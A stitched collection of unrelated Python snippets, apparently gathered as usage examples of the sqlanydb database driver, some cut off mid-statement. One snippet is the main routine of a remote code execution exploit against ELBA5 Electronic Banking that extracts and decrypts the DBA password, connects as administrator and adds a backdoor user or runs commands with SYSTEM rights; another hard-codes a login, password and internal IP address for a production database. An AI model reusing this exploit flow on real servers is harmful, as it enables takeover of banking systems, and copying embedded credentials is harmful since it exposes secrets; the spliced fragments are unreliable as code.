links.items()) + ')' kwargs.update(setting( 'OPTIONS' )) self.connection = Database.connect(**kwargs) cursor = CursorWrapper(self.connection.cursor()) cursor.execute("SET OPTION chained='Off'") cursor.execute("SET OPTION PUBLIC.reserved_keywords='LIMIT'") cursor.execute("SET TEMPORARY OPTION TIMESTAMP_FORMAT='YYYY-MM-DD HH:NN:SS.SSSSSS'") connection_created.send(sender=self.__class__, connection=self) if not cursor: cursor = CursorWrapper(self.connection.cursor()) return cursor
def __init__(self, *args, **kwargs): self.conn = sqlanydb.connect(*args, **kwargs)
def __init__(self, p_db): db = p_db s = "" self.db = None self.cursor = None (self.dbtype, driver, hostname, port, dbname, user, pwd) = getDbStringDetails(db) if (self.dbtype in ["teradata", "maxdb"]) or (driver == "-odbc"): dsn = self.odbc(hostname, port, dbname) print dsn self.db = pyodbc.connect(dsn=dsn, user=user, password=pwd, ansi=True, autocommit=True) self.cursor=self.db.cursor() elif self.dbtype == "ase": # hostname defined in interface file self.db = Sybase.connect(dsn=hostname, user=user, passwd=pwd, database=dbname, auto_commit=True) self.cursor = self.db.cursor() self.cursor.execute("set quoted_identifier on") elif self.dbtype in ["asa", "iq"]: import sqlanydb # Module for Sybase ASA or IQ s = "%s" % (hostname) print s self.db = sqlanydb.connect(eng=s, userid=user, password=pwd, dbn=dbname) self.cursor = self.db.cursor() elif self.dbtype == "mssql": s = "%s:%s" % (hostname, port) self.db = pymssql.connect(host=s, user=user, password=pwd, database=dbname, as_dict=False) self.cursor = self.db.cursor() elif self.dbtype == "mysql": self.db = MySQLdb.connect (host=hostname, port=int(port), user = user, passwd = pwd, db=dbname) self.cursor = self.db.cursor() elif self.dbtype == "db2": self.db = DB2.connect (dsn=dbname, uid=user, pwd=pwd) self.cursor = self.db.cursor() elif self.dbtype in ["postgres", "greenplum"]: s = "host='%s' port='%s' user='******' password='******' dbname='%s'" % (hostname, port, user, pwd, dbname) self.db = psycopg2.connect (s) self.db.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT) self.cursor = self.db.cursor() elif self.dbtype == "oracle": s = "%s/%s@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s))(CONNECT_DATA=(SERVICE_NAME=%s)))" s = s % (user, pwd, hostname, port, dbname) self.db = cx_Oracle.connect(s) self.cursor = self.db.cursor() elif self.dbtype == "netezza": # conn="DRIVER={MySQL ODBC 3.51 Driver}; SERVER=localhost; PORT=3306; DATABASE=mysql; UID=joe; # PASSWORD=bloggs; OPTION=3;SOCKET=/var/run/mysqld/mysqld.sock;" self.cursor = Connect (hostname, user, pwd) elif self.dbtype in ["hana"]: from hdbcli import dbapi self.db = dbapi.connect(address=hostname, port=30015+int(port), user=user, password=pwd, autocommit=True) self.cursor = self.db.cursor() elif self.dbtype in ["progress"]: dsn = self.odbc(hostname, port, dbname) self.db = pyodbc.connect(dsn=dsn, user=user, password=pwd, autocommit=True) self.cursor=self.db.cursor() elif self.dbtype in ["ingres", "vectorwise"]: # vnode = @host,protocol,port[;attribute=value{;attribute=value}][[user,password]] s = "@%s,tcp_ip,%s;connection_type=direct" % (hostname, port) self.db=ingresdbi.connect(database=dbname, vnode=s, uid=user, pwd=pwd, dbms_pwd=pwd, autocommit = "Y") # trace = (7, "dbi.log") self.cursor=self.db.cursor() else: perror("Unknown_db_type", self.dbtype)
"""This module will connect to the sybase database.""" import ctypes import sqlanydb import pyodbc # Create a connection object, then use it to create a cursor con = sqlanydb.connect(uid = "vraut" ,pwd = "Mar21Pass" , host = "10.70.142.125:2066" , dbn = "IQPROD") # Execute a SQL string sql = "SELECT * FROM dummy" cursor = con.cursor() cursor.execute(sql) # Get a cursor description which contains column names desc = cursor.description print(len(desc)) pyodbc.
def main(): print("==================================================") print(" ELBA5 Electronic Banking (https://www.elba.at/)") print(" Network Installation RCE Exploit") print("") print("This exploit has been tested against version 5.7.1") print("to 5.8.0. It can be used to remotely obtain code") print("execution on the ELBA5 server with full SYSTEM") print("level permissions.") print("") print("Discovered by: Florian Bogner @ Bee IT Security") print(" florian(at)bee-itsecurity.at") print("==================================================") print("") if (len(sys.argv)<3): print_usage() sys.exit(1) # get info from cli global DB_HOST global ACTION DB_HOST=sys.argv[1] ACTION=sys.argv[2] #### phase 1 print("[*] Starting phase 1: Obtain & Decrypt DBA password") DB_DBA_PWD=fetch_db_dba_pwd() if (DB_DBA_PWD==None): print("[-] Something went wrong in phase 1... Exiting") sys.exit(1) print("[+] Received the DBA password: "******"[*] Starting phase 2: Establishing a DB connection as DBA") conn = sqlanydb.connect( uid=DB_DBA_UID, pwd=DB_DBA_PWD, servername='ELBA5SRV', host=''+DB_HOST+':'+DB_PORT ) if (conn==None): print("[-] Something went wrong in phase 2... Exiting") sys.exit(1) print("[+] Connection established as DBA") #### deliver payload if (ACTION=="addUser"): print("[*] Starting phase 3: Adding a backdoor user") add_elba_user(conn); elif (ACTION=="runCommand"): print("[*] Starting phase 3: Running command") run_command(conn); else: print("[*] Unknown action "+ACTION+"... Exiting cleanly") #### winding down print("[*] Closing DBA connection") conn.close()
import sqlanydb conn = sqlanydb.connect(uid='dba', pwd='sql', eng='demo', dbn='demo') curs = conn.cursor() curs.execute("select 'Hello, world!'") print "SQL Anywhere says: %s" % curs.fetchone() curs.close() conn.close()
def _connect(self): return sqlanydb.connect(*self.connect_args, **self.connect_kw_args)
# *************************************************************************** # Copyright (c) 2014 SAP AG or an SAP affiliate company. All rights reserved. # *************************************************************************** ####################################################################### # This sample code is provided AS IS, without warranty or liability # of any kind. # # You may use, reproduce, modify and distribute this sample code # without limitation, on the condition that you retain the foregoing # copyright notice and disclaimer as to the original code. # ####################################################################### # # This sample program contains a hard-coded userid and password # to connect to the demo database. This is done to simplify the # sample program. The use of hard-coded passwords is strongly # discouraged in production code. A best practice for production # code would be to prompt the user for the userid and password. # ####################################################################### import sqlanydb con = sqlanydb.connect(userid='dba', password='******') cur = con.cursor() cur.execute('select count(*) from Employees') assert cur.fetchone()[0] > 0 con.close() print('sqlanydb successfully installed.')
def get_rdb(self): return sqlanydb.connect(**config.sqlany_pos_server)